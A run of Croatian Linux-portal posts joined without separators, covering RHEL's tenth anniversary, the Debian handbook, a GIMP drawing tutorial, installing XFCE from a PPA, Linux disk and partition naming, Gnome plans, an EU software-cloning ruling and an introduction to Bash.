Ovaj mjesec RHEL slavi deseti rođendan.

Nekoliko godina prije su velike svjetske tvrtke prepoznale potencijal Red Hata i Red Hat Linux distribucije tako da je sama tvrtka imala uz sebe divove poput IBM-a, Della, HP-a, Borlanda, Novella, Oraclea, Dreamwork studija i Amazona, te prisustvo u Americi, Europi i Japanu puno prije izlaska samog RHEL-a. RHEL je samo zapečatio uspjeh ove tvrtke.

Od samim početaka tvrtka Red Hat nudi pod slobodnom licencom kôd svoje Linux distribucije za upotrebu i razvoj svima. Zbog prilično nefer (iako sasvim legalnog) poteza Oraclea koji je nudio blago prepakiranu verziju RHEL-a pod svojim imenom od prošle godine se kôd RHEL-a  nudi zajedno s ukomponiranim specifičnim zakrpama što donekle otežava razvoj CentOS-a i ostalih slobodnih derivata RHEL-a.

Iako na prvi pogled nelogičan potez, Red Hat je pokazao da otvoreni softver ima potencijal i da se na modelu otvorenog softvera može dobro poslovati i zarađivati. Umjesto da naplaćuju svoj softver, Red Hat naplaćuje putem pretplate tehničku podršku, odnosno usluge održavanja i pomoći pri radu s njihovim softverom. Ove godine su uspjeli preći milijardu dolara profita i time su postali prva open source softverska tvrtka kojoj je to uspjelo. Ako uzmemo u obzir svjetsku ekonomsku krizu, ovaj uspjeh postaje još značajniji.

RHEL danas koriste mnoge tvrtke. U sustavima koji obavljaju takozvane “mission critical” poslove poput upravljanja velikom količinom novaca, ili sustavima odbrane gotovo uvijek ćete naći ovu Linux distribuciju. Mnogi internetski divovi također na svojim serverima vrte RHEL.

Na kraju napomenimo da CentOS, Linux distribuciju koja je gotovo klon RHEL-a,  možete slobodno preuzeti i instalirati na bilo koje računalo. Naravno, uz nju nećete dobiti i tehničku podršku .

Iskrene čestitke Red Hatu na uspješnom poslovanju, a RHEL-u želimo još mnogo godina stabilnosti i vrhunske kvalitete!

Više o povijesti same tvrtke pročitajte na službenim stranicama.

Autor:Branko S.

Časopis izlazi jednom mjesečno na srpskom jeziku i to na oba pisma, latiničnom i ćiriličnom.

Trenutno je dostupan samo u elektronskoj varijanti, možete ga nabaviti potpuno besplatno u PDF formatu (svoj primjerak možete preuzeti ovdje, već sada broji više od 500 preuzimanja!). Autorima sve pohvale i puno sreće u daljnjem radu. Željno očekujemo LIBRE! #01.

Evo što kažu na službenim stranicama o čitavom projektu:

REČ UREDNIKA

Verovali ili ne, časopis za vas!

Ovim rečima je, već davne, 2004. započelo izlaženje prvog časopisa o slobodnom softveru na srpskom jeziku. Već 3 godine, 3 meseca i nekoliko dana čuvena GNUzila nije među nama. Prestankom izlaženja ovog časopisa čitava populacija ljudi koji žele da žive slobodno u svom slobodnom sajber svetu ostala je bez svog časopisa.

Nekima od tih ljudi je dosadilo da čekaju i kupuju komercijalne kompjuterske časopise zbog 3-4 stranice posvećene slobodnom softveru. Pomislili su kako bi trebalo sami da napišu časopis o slobodnom softveru, pošto nijedan takav časopis trenutno ne postoji.

Inicijalna ideja o ponovnom pokretanju nekomercijalnog časopisa o slobodnom softveru na srpskom jeziku je od iskre za kratko vreme prerasla u požar. Skupili smo redakciju “sa konca i konopca”, iz svih delova Srbije i šire, i počeli sa radom. Ogromna energija, jasan cilj i dobre internet veze doveli su nas, za nešto malo više od mesec dana, do probnog broja LiBRE! časopisa o slobodnom softveru, koji je sada pred vama.

Ovim probnim brojem smo pokazali sebi i drugima da smo sposobni da izdamo časopis. Preležali smo dečije bolesti i sada je sigurno da ovde nećemo da stanemo. Već radimo na prvom broju koji će sigurno biti još kvalitetniji.

Do čitanja!

Što možete očekivati, objavljeno je na službenim web stranicama susreta, a mi prenosimo najvažnije:

Teme su vezane uz razvoj web i mobilnih aplikacija u modernim tehnologijama sa krvavog ruba. Ako se palite na hajp termove poput: Rails, Django, Node, Backbone, Mongo, iOS, Android, Sencha Touch, Cofeescript … bit će vam zanimljivo i na Code at Six druženjima. Ovim okupljanjem želimo širiti development community u Hrvatskoj, povezivati development profesionalce i entuzijaste te potaknuti razmjenu znanja, iskustava i prije spomenute pive.

Također, preduvjet za sudjelovanje je da mrzite SVN.

O čemu ćemo pričati?

Samo za vas ravno iz tvornice najboljih mobilnih aplikacija na balkanu Tomislav Car hejtat ce NoSQL i objasniti zasto MySQL >> NoSQL. Balkanski JS guru Mihael Konjevic pricati ce o organizaciji JS koda u client side web aplikacijama, plus, pokusat ce nam prodati svoj novi framework CanJS. Oba predavanja biti će hands on. Nema dakle brige o tome da će biti dosadna.

Više informacija kao i obrazac za prijavu potražite na službenim web stranicama. Također, zapratite službeni Twitter nalog @CodeAtSix.

Naslovnica knjige

Za Debian administratore lijepa vijest! Priručnik na francuskom jeziku, koji pokriva administraciju Debian OS-a, a kojeg su napisali Raphael Hertzog i Roland Mas, preveden je na engleski jezik te objavljen kao Priručnik za Debian administratore.
Knjiga vas uči osnovama administracije Debiana dok istodobno pokušava biti što pristupačnija. Prijevod su odradili sami autori uz pomoć kampanje “masovnog financiranja” kojom je priskrbljeno 24,640 €.

Knjiga je open-source i besplatna je kao e-knjiga te u pdf formatu. Papirnato izdanje ćete naravno trebati kupiti putem servisu Lulu. Licencirana je pod Creative Commons BY-SA 3.0 licencom. Sami autori mole čitatelje da prijavljuju poboljšanja i ispravke uočenih pogrešaka. Čitatelji također mogu volonterski donirati novac projektu tijekom skidanja e-knjige i tako olakšati daljnja poboljšanja.

Sad više nemate nikakvih opravdanja za nekorištenje ovog kralja Linux distribucija.

The Debian Administrator’s Handbook možete preuzeti sa sljedeće adrese:

http://debian-handbook.info/get/

Također ju možete prelistati i u online obliku.

Autor: Frane Š.
Izvor: h-online

Nastavljamo s našim Gimp tečajem. U ovom dijelu ćemo naučiti kako nacrtati neke osnovne oblike. Vjerovali ili ne, dosta ljudi crta po slici povlačenjem miša. Rezultat može biti samo neka zavojita aproksimacija osnovne autorove ideje. Da bi ostale poštedjeli tih grozota naučimo kako se pravilno crta krug. Ili kvadrat. A ako ustreba znati ćemo i liniju povući.

I nema švercanja! Ako niste, pročitajte najprije prvi dio tečaja!

• Ravna linija

Liniju crtamo na sljedeći način:

Odaberite neki od alata za crtanje (Četka ili olovka na primjer)

Kliknite lijevom tipkom miša na mjesto na kojem treba biti početak linije.

Potom mišem otiđite na mjesto gdje treba biti završetak linije.

Stisnite tipku Shift

Vidjeti ćete da se stvara tanka isprekidana linija. Korigirajte položaj ako treba.

Kliknite mišem da bi potvrdili.

Ravna crta

• Elipsa

Postoji nekoliko načina kako nacrtati elipsu.

Ovdje će biti objašnjena tri načina, a vi odaberite koji vam najbolje odgovara.

Prvi način – Crtanje uzduž linije selekcije

Ovaj način je lagan, ali daje nešto grublju i zrnatiju liniju.

Odaberite u Toolboxu Elipsu (alati za odabir).

Nacrtajte željeni oblik.

Potom u Edit padajućem izborniku odaberite Stroke selection. Taj alat će crtati uzduž odabrane linije.

Odredite debljinu linije.

Kliknite Stroke

U Stroke prozoru možete odabrati i neki od alata za crtanje.

Sad samo treba maknuti liniju selekcije. To uradite tako da kliknete na Select padajući izbornik. U njemu odaberite None.

Gotova elipsa

Drugi način – Punjenje bojom između dvije linije

Drugi način je možda najjednostavniji.

Odaberite pomoću Elipse alata za odabir željeni oblik:

Potom u Select padajućem izborniku odaberite Border.

Odaberite debljinu linije. (U ovom primjeru pet piksela)

Potvrdite s OK

Sada pomoću Bucket Fill alata ispunite područje između linija.

Odaberite Select padajući izbornik i u njemu None da bi maknuli linije selekcije.

Gotova elipsa

Treći način – Brisanje središta pune elipse

Treći način daje nešto zaglađeniju crtu, ali treba crtati u posebnom sloju, jer ćete u suprotnom obrisati sve što je omeđeno elipsom.

Upravo iz tog razloga ćemo u ovom tečaju crtati iznad ranije nacrtane linije. Kada ne bi crtali u posebnom sloju, obrisali bi dio linije.

Najteži je od ova tri primjera, ali daje najljepši rezultat.

Dakle, najprije! dodajte novi sloj. (U Layer dijelu desnog prozora desni klik mišem i New layer).

Nakon toga pomoću Elipse alata za odabir odredite željeni oblik.

Potom pomoću Bucket fill alata ispunite elipsu.

Sada ćemo smanjiti liniju selekcije za nekoliko piksela (U primjeru tri, ali može bilo koji proizvoljni broj. To je u stvari debljina linije)

Odaberite Select padajući izbornik. U njemu odaberite opciju Shrink. Odaberite tri piksela.

Potvrdite sa OK.

Sada trebamo obrisati sve što se nalazi unutar nove linije selekcije:

Odaberite Edit padajući izbornik. U njemu Clear.

I posljednji potez. Maknite linije selekcije.

Select padajući izbornik > None

Krajnji rezultat

• Krug

Krug se crta tako da odaberete Elipse alat za odabir.

Potom kliknete na sliku i držite stisnutu lijevu tipku miša.

Dok držite lijevu tipku stisnite i držite stisnutu tipku Shift.

Sad odredite veličinu kruga.

Kad ste odredili veličinu kruga, najprije! pustite lijevu tipku miša, a potom Shift tipku.

Ostali koraci u crtanju su isti kao i za Elipsu.

Krug

• Luk

Luk crtamo pomoću Path alata.

Odredite početnu i krajnju točku luka.
Točke se još nazivaju i Sidra (Anchors).

Potom pomoću lijeve tipke miša izvucite luk.

Pomoću držača korigirajte i izgladite liniju luka:

Potom odaberite u Edit padajućem izborniku Stroke path.

Nacrtali smo luk

• Pravokutnik

Pravokutnik se crta pomoću Rectangle alata za odabir.

Ostali koraci su identični onima za crtanje Elipse, pa proučite upute za Elipsu.

Dobro nam ide. Evo, nacrtali smo pravokutnik.

• Kvadrat

Slično kao i crtanje kruga, potrebno je malko koordinacije miša i tipkovnice.

Odaberite Rectangle alat za odabir.

Kliknite i držite lijevu tipku miša. Potom stisnite i držite tipku Shift.

Nacrtajte formu kvadrata.

Potom najprije! pustite tipku miša, a tek nakon toga tipku Shift.

Ostali koraci u crtanju su isti kao i za elipsu pa proučite upute za crtanje elipse.

Ma, skoro isto ko krug

• Strelica

Gimp nema gotovih alata za crtanje strelica.

Postoje neki pluginovi koje se može dodati Gimpu, a služe za crtanje strelica. Najjednostavniji način je da koristite već gotove strelice koje se mogu pohraniti u katalog četki. Potražite ih na primjer na ovoj stranici.

Četke se spremaju u

~/.gimp-2.x/Brushes

ili

/usr/share/gimp/2.x/brushes

direktorij ukoliko koristite Linux, ili u

C:\Documents and Settings\USER-NAME\.gimp-2.x\brushes

ili u

C:\Program Files\GIMP-2.x\share\gimp\2.x\brushes

ukoliko koristite Windows operativni sustav.

Ovako izgledaju već gotove strelice:

Takvim strelicama možete mjenjati veličinu i smjer na isti način kao i drugim elementima slike.

Crtanje strelice

Budući da je ovo početnički tečaj, mi ćemo objasniti kako nacrtati strelicu. Tako nacrtanu strelicu možete pohraniti u katalog četki i koristiti za kasnije.

Pa, nacrtajmo strelicu:

Ovdje će biti objašnjeno kako se crta pomoću Free select alata. Ukoliko hoćete zaglađeniji i pravilniji izgled pogledajte kako se crta pomoću Path alata.

Odaberite Free select tool. To je alat za odabir koji izgleda kao laso:

Pomoću njega nacrtajte strelicu.

Crtanje je jednostavno. Klikom miša odredite početak. Potom odvučete miša na mjesto pregiba i kliknete da postavite mjesto pregiba. To ponovite za svako mjesto pregiba dok se ne vratite u početnu točku. Kada kliknete na početnu točku obilježavanje je gotovo.

Kada ste obilježili strelicu, ostali koraci su isti kao i za crtanje elipse.

Evo par gotovih strelica:

• Nepravilan oblik

Objasniti ćemo dva načina crtanja nepravilnih oblika.

Pomoću Free Select alata

Nepravilan oblik crtamo pomoću Free Select alata.

Pomoću alata nacrtajte oblik i onda ga popunite na identičan način kao što se popunjava elipsa u ovom tečaju.

Ravne linije se crtaju tako da se lijevom tipkom miša odabere početak ravne linije, a nakon toga klikne na mjesto gdje će linija završiti.

Zavijene linije crtate tako da držite stisnutu lijevu tipku miša i povlačite liniju.

Naravno, možete crtati i pomoću olovke ili kista.

Pomoću Path alata

Path alat je malkice složeniji, ali daje daleko ljepši rezultat.

Najbolje je da odaberete alat i malo se igrate s njim.

Pokušajte nacrtati ovakvo nešto:

Ukoliko greškom nacrtate sidro koje ne želite, obrišite ga tako da stisnete i držite CTRL i SHIFT, te nakon toga kliknite na sidro

(Da bi spojili prvo i posljednje sidro, najprije kliknite na posljednje sidro, potom stisnite i držite tipku CTRL i kliknite na prvo sidro)

Ovo je tek prva gruba slika.

Sada kliknite na linije i vucite ih mišem. Pokušajte dobiti ovako nešto:

OK, ni ovaj crtež nije baš impresivan. Sad treba napraviti konačno zaglađivanje linija.

Kliknite na neko od sidara. Vidjeti ćete da se pojavljuju držači. Kliknite na njih i izravnajte linije.

Sada odite na Path karticu u desnom prozoru:

Trebamo pretvoriti Path linije u linije odabira. S njima smo naučili raditi.

To radimo Path to selection alatom.

Kada dobijemo linije selekcije postupak ispunjavanja i bojanja jednak je kao i onaj koji je opisan za elipsu.

Eto, sad znate kako se rade pravilni oblici. Nemojte više svoje najdraže mučiti ovakvim prizorima:

Teta Štefica s ljetovanja

I ovaj tekst je preuzet s našeg Wikija i prilagođen objavi na portalu. Mislim da smo vam dali dovoljno posla do sljedećeg tjedna i novog tečaja iz Gimpologije.

Vjerujem da mnogi jedva čekaju isprobati najnoviju verziju ovog radnog okruženja.
Ako posjedujete najnoviju verziju Ubuntua ili Xubuntua, instaliranje XFCE-a 10 je upravo postalo jako lagano. Trebate samo dodati PPA, osvježiti sustav i instalirati XFCE 10. Potom se trebate odlogirati i u login ekranu odabrati XFCE radno okruženje.

XFCE 10 na Ubuntuu 12.04

U terminal unestite sljedeće naredbe:
(Ako koristite Xubuntu, ne morate unositi posljednu naredbu.)

sudo add-apt-repository ppa:xubuntu-dev/xfce-4.10
sudo apt-get update
sudo apt-get dist-upgrade
sudo apt-get install xubuntu-desktop

Uživajte u brzom i praktičnom XFCE-u!

Očekujte recenziju za nekoliko dana.

UPOZORENJE! Ovim potezom ste dodali neslužbeni PPA i radno okruženje koje možda neće raditi kako treba na vašem računalu. Ako želite XFCE 10 na računalu koje mora funkcionirati pričekajte službenu verziju u Ubuntuovim službenim repozitorijima.

DODATAK:Na mom računalu instalacija nije prolazila dok god nisam instalirao gtk2-pixbuf-engine. Ako i vi imate sličan problem, instalirajte gtk2-pixbuf-engine prije posljednje naredbe, odnosno instalacije xubuntu desktopa.

Izvor:WebUpd8

Nastavljamo s najboljim tekstovima s našeg Wikija. Započinjemo tekst o diskovima. Ako ste svježe pristigli s Windowsa buniti će vas organizacija diskova i particija na Linuxu. Naviknuti na C: D: i ostala slova abecede, odjednom se nalazite pred nekakvim sda2, sdb3 i sličnim oznakama. O čemu se tu radi?
Pročitajte u tekstu ispod.

Rad sa diskovima i ostalim blok uređajima (USB stickovima, CD/DVD medijima) na Linuxu je specifičan u odnosu na neke druge operacijske sustave.  Za razliku od npr. Windowsa koji sve uređaje za pohranu podataka imenuje velikim slovom i dvotočkom (npr. C: D: E:….), a svaki od njih ima svoje zasebno stablo direktorija, Linux pristupa radu s diskovima na drugačiji način.
Ako ste već pokušali ponešto raditi pod Linuxom zasigurno ste uvidjeli da ne postoje oznake diskova po principu “C: D: E:”, nego postoji jedno jedino stablo direktorija koje vas vjerojatno pomalo i muči, jer ne znate što pripada određenom diskovnom uređaju. Da bismo mogli nastaviti dalje, moramo maknuti “veo tajni” upravo s ovog područja. Tek kada bude jasno kako Linux “razumije” diskovne i ostale blok uređaje, moći ćemo s njima i nešto konkretno raditi. No idemo redom.

Diskovi

Kada govorimo o diskovima, prvenstveno mislimo na tvrde diskove, CD/DVD medije, USB stickove (pa čak i zastarjele diskete koje danas rijetko tko koristi). Osnovna namjena ovih uređaja jest fizičko spremanje podataka (informacija u obliku programa, vaših tekstova, slika i ostalog) na površinu nekog medija:

• Tvrdi diskovi i diskete podatke spremaju na površinu magnetnog medija
• CD/DVD diskovi podatke spremaju na optički čitljivu površinu (pomoću lasera prepoznavaju se udubine u mediju, te na taj način raspoznaje stanje 0 i 1)
• USB stickovi spremaju podatke u tzv. Flash memorijske čipove.

Svima njima je zajedničko što se podaci na njih spremaju u obliku datoteka i direktorija, preko nekog datotečnog sustava i što se ti podaci ne brišu nakon isključivanja uređaja iz izvora napajanja.

Struktura tvrdog diska

U današnje vrijeme, za svakodnevnu pohranu podataka u računalu koriste se isključivo tvrdi diskovi kapaciteta od 100 GB, pa sve do nekoliko TB. Za razmjenu podataka između računala koriste se CD i DVD diskovi, te USB stickovi i prijenosni hard diskovi koji zbog toga spadaju u grupu izmjenjivih diskova, jer ih tijekom rada možemo izmjenjivati u CD/DVD čitaču, odnosno stavljati/vaditi iz USB sabirnice računala, već ovisno o tome koji nam podaci na njima trebaju.
Radi povećanja kapaciteta i pouzdanosti čuvanja podataka diskove možemo organizirati i u tzv. RAID polja gdje cijelu seriju diskova proglašavamo jednim logičkim uređajem. No ovo već spada u naprednu domenu, pa se ovdje nećemo time baviti.
No, kako su to zapravo samo “sirovi” uređaji, prije spremanja podataka na njih, potrebno je poznavati još neke njihova svojstva.

Particije

Particije su vezane uz tvrde diskove, a zapravo si ih možemo predočiti kao područja na nekom tvrdom disku (fizičkom disku), koja se ponašaju kao zaseban disk (logički disk). Na taj način možemo postići privid da na jednom disku imamo više diskova, ali manjeg kapaciteta. Zašto je to uopće potrebno?

• Ako želimo instalirati više od jednog operacijskog sustava. Nemoguće je instalirati više od jednog operacijskog sustava po jednog particiji.
• Ako operacijski sustav treba više od jedne particije za svoj uredan rad
• Ako želimo dodatno podijeliti disk za različite namjene
• Ako želimo na istom fizičkom disku koristiti više od jednog datotečnog sustava

U primjeru Linuxa imamo barem dvije particije: jednu za operacijski sustav i drugu za tzv. swap, odnosno privremenu radnu memoriju kada ponestane one u računalu (RAM-a).

Primjer particija

Svaki tvrdi disk mora imati barem jednu particiju, što konkretno znači da se baš svaki tvrdi disk mora particionirati, jer je to uvjet da se na njega postavi neki datotečni sustav.

Kod particija moramo razlikovati Primarne i Proširene (Extended) particije. Razlika je u ovome:

• Primarna particija je nosioc datotečnog sustava. Zbog ograničenja u BIOS-u računala na jedan fizički tvrdi disk moguće je postaviti najviše 4 primarne particije, što bi značilo prilično ograničenje.
  
• Proširena particija je nosioc (okvir) drugih, takozvanih logičkih particija. Na taj način moguće je na jedan tvrdi disk postaviti 3 primarne particije i jednu extended particiju koja na sebi može imati npr. tri logičke particije. Tako na kraju imamo šest particija.

Primarne i logičke particije

Datotečni sustavi

Da bismo spremali svoje podatke u organiziranom obliku datoteka i direktorija na particiju je potrebno postaviti datotečni sustav. Za razliku od nekih drugih operacijskih sustava Linux ima popriličan broj raznih datotečnih sustava koje možemo koristiti prema vlastitim potrebama. Neki bitniji datotečni sustavi navedeni su ovdje:

• Ext4: Linuxov uobičajeni datotečni sustav
• ReiserFS: Linuxov manje zastupljeni datotečni sustav
• NTFS: Datotečni sustav kojeg koriste MS Windows. Linux može raditi sa ovim datotečnim sustavom.
• FAT: njega pronalazimo na gotovo svim USB stickovima
• ISO 9660 i UDF: su datotečni sustavi CD/DVD diskova

Osim spremanja podataka, datotečni sustavi nude još neke opcije pri radu s podacima kao što su linkovi i journaling.

Dolazimo do možda najbitnijeg dijela cijele ove priče. Naime, na početku smo rekli da za razliku od MS Windows operacijskog sustava koji diskove označava po slovu (C: D: E:…), te svaki takav disk ima svoje stablo direktorija, Linux sve drži unutar jednog jedinog stabla direktorija koje počinje od korijenskog (root) direktorija čija je oznaka “/” (kosa crta).

Kako Linux baš sve podatke predstavlja kao datoteke (obične i posebne) unutar tog stabla direktorija, tako se onda predstavljaju i diskovi, odnosno datotečni sustavi. Ovdje je dobro napomenuti da predstavljanje tvrdog diska kao uređaja i datotečnog sustava nisu jedna te ista stvar i Linux ih unutar svog stabla prikazuje kao odvojene stvari.

Predstavljanje uređaja u Linux stablu

Na Linuxu postoji poseban direktorij unutar stabla pod imenom /dev. Unutar njega Linux kreira posebne datoteke za baš svaki uređaj koji je spojen na računalo, pa tako i za diskove. Naravno, diskovi ovdje imaju posebnu nomenklaturu koju je potrebno dobro razjasniti. Svi fizički tvrdi diskovi nazivaju se ovako:

/dev/sdx

pri čemu je x slovo oznake tvrdog diska u računalu, onako kako su spojeni na kontroler i kako ih BIOS vidi, počevši od slova “a”.

Primjeri: (Računalo ima tri tvrda diska.)

/dev/sda
/dev/sdb
/dev/sdc

Također, u ovom direktoriju označeni su i logički diskovi, odnosno particije i to ovako:

/dev/sdxy

gdje je x slovo oznake tvrdog diska u računalu, a y redni broj particije na x-ovom tvrdom disku počevši od broja jedan, uz napomenu da nije nužno da ti brojevi idu po redu.

Primjeri: (Računalo ima jedan tvrdi disk sda na kojem su tri particije i još jedan tvrdi disk na kojem su dvije particije.)

/dev/sda1
/dev/sda2
/dev/sda3

/dev/sdb1
/dev/sdb2

Da bi se moglo pristupati podacima na nekom datotečnom sustavu koji se nalazi na disku (ili ljepše rečeno, da bi se pristupilo podacima na disku) potrebno je isti montirati na Linuxovo stablo direktorija preko tzv. točke montiranja. Na taj način se bilo koja disk particija (koja na sebi ima datotečni sustav) može namontirati (prikvačiti) na neki direktorij unutar Linuxovog stabla direktorija, te će se podaci iz te particije reprezentirati kao sadržaj direktorija koji predstavlja točku montiranja particije.

Primjer montiranja raznih diskovnih particija i CD medija na Linux root stablo

Za bolje objašnjenje slijedi primjer:

Imamo disk particiju koja se u direktoriju uređaja zove /dev/sdb1, te je želimo namontirati u Linuxovo stablo kao direktorij /media/Disk
Da bismo to napravili moramo imati već kreirani direktorij koji se zove /media/Disk
Nakon izvršavanja naredbe za montiranje diska na Linux stablo (mount naredba će biti kasnije detaljno objašnjena), pristup toj particiji diska istovjetan je pristupu direktoriju /media/Disk, odnosno sve što radimo u tom direktoriju, zapravo radimo na montiranoj particiji tvrdog diska.

Dakle, umjesto da se diskovne particije nazivaju C: D: itd. na Linuxu im pristupamo preko direktorija u kojeg su namontirane. Naravno, ovdje nam nitko ne diktira kako ćemo nazvati direktorije u koje želimo namontirati diskovne particije, te tako možemo davati i bolje opise onoga što se na tim diskovima nalazi.

Sada ste naučili kako se na Linuxu nazivaju diskovi i particije te kako ih Linux organizira u svoje datotečno stablo. U sljedećem tekstu ćemo se upoznati s hijararhijom Linuxovog datotečnog sustava.

U Gnome 3.4 izdanju su redizajnirane i ispolirane neke aplikacije poput Documents, Contacts, Epiphany, Disks, Password and Keys itd., uveden je applications izbornik koji zasad funkcionira samo na nekim aplikacijama. Osim toga je ispoliran i sustav notifikacija, postavke sustava su poboljšane u nekoliko smjerova i cijeli sustav je potpuno uglađen.

Ako ste mislili da će se razvoj Gnome sučelja možda primiriti ili će se Gnome ekipa posvetiti samo ispravljanju postojećih bugova i poliranju postojećih mogućnosti, u krivu ste. Gnome developer Allan Day na svom blogu donosi neke planove za nadolazeća izdanja Gnome sučelja pa pogledajmo što možemo očekivati.

Zaslon zaključavanja i prijave

Kada je zaključan, zaslon bi trebao prikazivati vrijeme, datum i druge obavijesti o novim porukama, pošti i sl.

Redizajnirani lockscreen

Slično kao i na novoj verziji Windowsa, lockscreen se povlači prema gore i dobivamo popis korisnika ili samo trenutno aktivnog korisnika. Kako to izgleda pogledajte na videozapisu.

http://www.youtube.com/watch?v=BFo0s2wnyj4

Notifikacije

Sustav obavještavanja je dodatno ispeglan te je mnogo “pametniji” nego dosad. Kada se pojavi notifikacija na dnu ekrana korisnik ima dvije opcije:

1. Postaviti kursor nad notifikaciju čime ona potpuno izlazi na zaslon,
2. Pomaknuti mišem negdje drugdje čime se notifikacija sklanja sa zaslona i dopušta nam da neometano nastavimo s radom.

Ukoliko se kursor miša nalazi na sredini dna zaslona, notifikacija se neće u potpunosti pojaviti dok se kursor ne pomakne gore.

http://www.youtube.com/watch?v=14z4wdgNF9g

Ikone u message tray području bi trebale biti povećane i statične, za razliku od sadašnjih animiranih.

Message tray

Skrolanje

Puno vremena je utrošeno na detalje oko skrolanja, odn. želi se postići isto ponašanje na različitim uređajima – onima sa zaslonom na dodir kao i na standardnim računalima s mišem. Na sljedeća dva videozapisa možete vidjeti razlike između njih.

http://www.youtube.com/watch?v=iH0kR-yEVc8

http://www.youtube.com/watch?v=6LNxVu9okUQ

Ispisivanje

Dijalozi za printanje su uljepšani i dodatno usavršeni pa sada omogućavaju jednostavno podešavanje i brzi predpregled prije ispisivanja.

Ispolirani dijalozi za printanje

Početno postavljanje sustava

Početno postavljanje sustava nas dočekuje kod prvog pokretanja sustava, i prema slikama bi trebalo uključivati samo nekoliko osnovnih koraka kao što su spajanje na mrežu, stvaranje korisničkog računa, postavljanje lokacije i vremenske zone i unošenje online računa.

Nadogradnje sustava

Nadogradnje sustava bi trebale biti mnogo jednostavnije i intuitivnije za korisnike, kao što možete vidjeti na slici ispod.

Osim navedenih novosti tu su brojna druga poboljšanja instalacijskog postupka, autorizacijskih dijaloga, dijaloga odjave itd. a ako ste znatiželjni uputite se na službenu stranicu Gnome projekta.

“Korisnici imaju pravo na ispitivanje softvera u svrhu kloniranja njegove funkcionalnosti, a prodavači ne mogu licencom pogaziti ova prava” rekao je sud.

Europski sud pravde

Odluka se prelomila na slučaju popularnog statističkog paketa SAS, kojeg je tvrtka World Programming klonirala u svrhu pokretanja SAS skripti bez modifikacije. Kako bi ovo učinili, kupili su primjerak SAS-a te su proučavali priručnik i djelovanje samog softvera. Navodno nisu imali pristup izvornom kodu, niti su dekompajlirali kod.

SAS ih je tužio, tvrdeći da njihova copyright licenca pokriva dizajn SAS skriptnog jezika te da je World Programming narušio istu procesom kloniranja softvera.

Ipak, Vrhovni sud EU-a je odbio ove argumente, uz obrazloženje da računalni kod, sam po sebi, može biti zaštićen, ali ne i funkcionalne karakteristike istog.

“Prihvaćanje zaštite funkcionalnosti računalnog programa licencom dovelo bi do potencijalnog monopoliziranja ideja te bi načinilo nemjerljivu štetu tehnološkom napretku i industrijskom razvoju. Kupac softverske licence ima pravo proučavati te testirati funkcioniranje tog softvera u svrhu utvrđivanja ideja i principa koji leže u osnovi bilo kojeg elementa programa. Sve ugovorne odredbe koje su u suprotnosti s tim pravom su ništavne i nevažeće”, odlučio je sud.

Američki sudovi se generalno slažu sa stavom Europskog suda, iako nerado nadjačavaju licence, što obično završava uklanjanjem prava koje bi korisnik inače imao (2010. godine, Court of Appeals for the Ninth Circuit potvrđuje EULA-u kojom je zabranjen reverzni inženjering World of Warcrafta).

Ovakvom odlukom Europskog suda, europski korisnici uživaju veća prava pri kloniranju softvera nego korisnici s druge strane oceana, za koje se iskreno nadamo da će jednaka prava što prije ostvariti.

Izvor: arstechnica

Autor: Frane Š.

U većini distribucija nativna ljuska je GNU Bash. U ovom poglavlju ćemo upoznati neke od osnovnih mogućnosti koje nam pruža GNU Bash te prošetati kroz datotečni sustav. Ukoliko ste već upoznati sa osnovnim mogućnostima ove ljuske osjećajte se slobodnima preskočiti ovo poglavlje te nastaviti na sljedećem gdje ćemo upoznati neke napredne funkcije i naredbe.

Gospodo, upalite motore!
GNU Bash je program koji korisniku pruža interaktivan pristup Linux sustavu. Radi kao običan program te se pokreće kad se korisnik ulogira u terminal. Ljuska koju vaš sustav pokreće ovisi o vašem korisničkom ID-u. /etc/passwd datoteka sadrži listu svih korisničkih računa računala.
Evo jedan primjer ispisa ove datoteke

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
news:x:9:13:news:/var/spool/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
operator:x:11:0:operator:/root:/bin/bash
portage:x:250:250:portage:/var/tmp/portage:/bin/false
nobody:x:65534:65534:nobody:/var/empty:/bin/false
man:x:13:15:added by portage for man:/usr/share/man:/sbin/nologin
sshd:x:22:22:added by portage for openssh:/var/empty:/sbin/nologin
cron:x:16:16:added by portage for cronbase:/var/spool/cron:/sbin/nologin
mail:x:8:12:added by portage for mailbase:/var/spool/mail:/sbin/nologin
postmaster:x:14:249:added by portage for mailbase:/var/spool/mail:/sbin/nologin
messagebus:x:101:245:added by portage for dbus:/dev/null:/sbin/nologin
ldap:x:439:439:added by portage for openldap:/usr/lib64/openldap:/sbin/nologin
ntp:x:123:123:added by portage for ntp:/dev/null:/sbin/nologin
lutherus:x:1000:1000::/home/lutherus:/bin/zsh
mpd:x:102:18:added by portage for mpd:/var/lib/mpd:/sbin/nologin
transmission:x:103:103:added by portage for transmission:/dev/null:/sbin/nologin

Svaki unos ima sedam polja podataka. Sustav koristi te podatke kako bi svakome od unešenih korisnika osigurao određene privilegije i mogućnosti. Ta polja su:

• korisničko ime
• korisnička zaporka
• korisnički ID za sustav
• korisnički ID za grupu
• puno korisničko ime
• /home direktorij
• korisnički shell

Većino ovih polja ćemo kasnije obraditi zasebno i detaljno a zasad ćemo se usredotočiti samo na Bash. Većina GNU/Linux distribucija koristi nativnu ljusku prilikom pristupanja naredbenom retku.
Bash prilikom pokretanja procesuira naredbe u .bashrc datoteci smještenoj u korisnikovom /home direktoriju.

Naredbeni redak

Jednom kad pokrenete terminal emulator ili se ulogirate u Linux konzolu dobivate pristup Linux naredbenom retku. Naredbeni redak je vaš vodič kroz shell, mjesto u kojem unosite naredbe.
Nativni znak za naredbeni redak je znak dolara ( $ ). On simbolizira da shell čeka unos naredbe.
